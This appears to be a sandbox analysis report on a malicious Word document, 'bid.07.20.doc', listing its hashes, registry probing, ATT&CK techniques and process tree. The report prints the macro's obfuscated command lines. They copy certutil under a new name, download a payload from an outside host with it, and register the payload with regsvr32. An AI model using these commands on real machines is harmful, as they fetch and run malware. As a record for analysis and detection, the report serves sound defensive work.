a01810ab151d6b800e1b6d9c692485fe5c6462d7c6900b197cebd19a3c7a154f

General

Target

bid.07.20.doc
Size

110KB
MD5

df1c3c76ae77a9c9e14e642e211e1cdf
SHA1

012dcfc2876916eaf12c1356e5fe893c7d155c70
SHA256

a01810ab151d6b800e1b6d9c692485fe5c6462d7c6900b197cebd19a3c7a154f
SHA512

7bf330e64225a6294b3085fdc435478c5405f2c4379ceca4e285e319288091a7cd72ea688ff944414cbc62ef28240a9a05b4bb202fce1fe9959e7de1898ab1dd

Score

10^/10

Malware Config

Signatures

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3704 WINWORD.EXE
3704 WINWORD.EXE
Executes dropped EXE 1 IoCs

Processes:

1.exe

pid process

3612 1.exe

pid	process
3612	1.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3704 wrote to memory of 2164	3704	WINWORD.EXE	cmd.exe
PID 3704 wrote to memory of 2164	3704	WINWORD.EXE	cmd.exe
PID 3704 wrote to memory of 3596	3704	WINWORD.EXE	cmd.exe
PID 3704 wrote to memory of 3596	3704	WINWORD.EXE	cmd.exe
PID 3596 wrote to memory of 3612	3596	cmd.exe	1.exe
PID 3596 wrote to memory of 3612	3596	cmd.exe	1.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

3596 cmd.exe

pid	process
3596	cmd.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in Program Files directory 18 IoCs

Processes:

WINWORD.EXE

description	ioc	process
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\Casual.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$ntered.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BasicSimple.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$sicSimple.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$sicStylish.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BWClassic.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$sicElegant.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BasicStylish.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BWCapitalized.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\Word2013BW.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$rd2013BW.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Casual.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Classic.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BWNumbered.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Numbered.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\BasicElegant.dotx	WINWORD.EXE
File created	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\~$Capitalized.dotx	WINWORD.EXE
File opened for modification	C:\Program Files\Microsoft Office\Root\Office16\1033\QuickStyles\Centered.dotx	WINWORD.EXE

Suspicious use of SetWindowsHookEx 21 IoCs

Processes:

WINWORD.EXE

pid	process
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE
3704	WINWORD.EXE

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2164	3704	cmd.exe	WINWORD.EXE
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	3596	3704	cmd.exe	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bid.07.20.doc" /o ""
1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:3704
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c set u=tutil&&call copy C:\Windows\System32\cer%u%.exe C:\ProgramData\1.exe
  2⤵
  - Process spawned unexpected child process
  PID:2164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "set u=url&&call C:\ProgramData\1.exe /%u%^c^a^c^h^e^ /f^ http://vkr0bt.com/bolb/jaent.php?l=liut6.cab C:\ProgramData\1.tmp && call regsvr32 C:\ProgramData\1.tmp"
  2⤵
  - Suspicious use of WriteProcessMemory
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Process spawned unexpected child process
  PID:3596
- - C:\ProgramData\1.exe
    C:\ProgramData\1.exe /urlcache /f http://vkr0bt.com/bolb/jaent.php?l=liut6.cab C:\ProgramData\1.tmp
    3⤵
    - Executes dropped EXE
    PID:3612

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\1.exe

Download Submit
memory/2164-3-0x0000000000000000-mapping.dmp

Download
memory/3596-4-0x0000000000000000-mapping.dmp

Download
memory/3612-5-0x0000000000000000-mapping.dmp

Download
memory/3704-0-0x000001F6C2C38000-0x000001F6C2C3B000-memory.dmp

Filesize
12KB

Download
memory/3704-1-0x000001F6C2C38000-0x000001F6C2C3B000-memory.dmp

Filesize
12KB

Download
memory/3704-2-0x000001F6C2C3B000-0x000001F6C2C40000-memory.dmp

Filesize
20KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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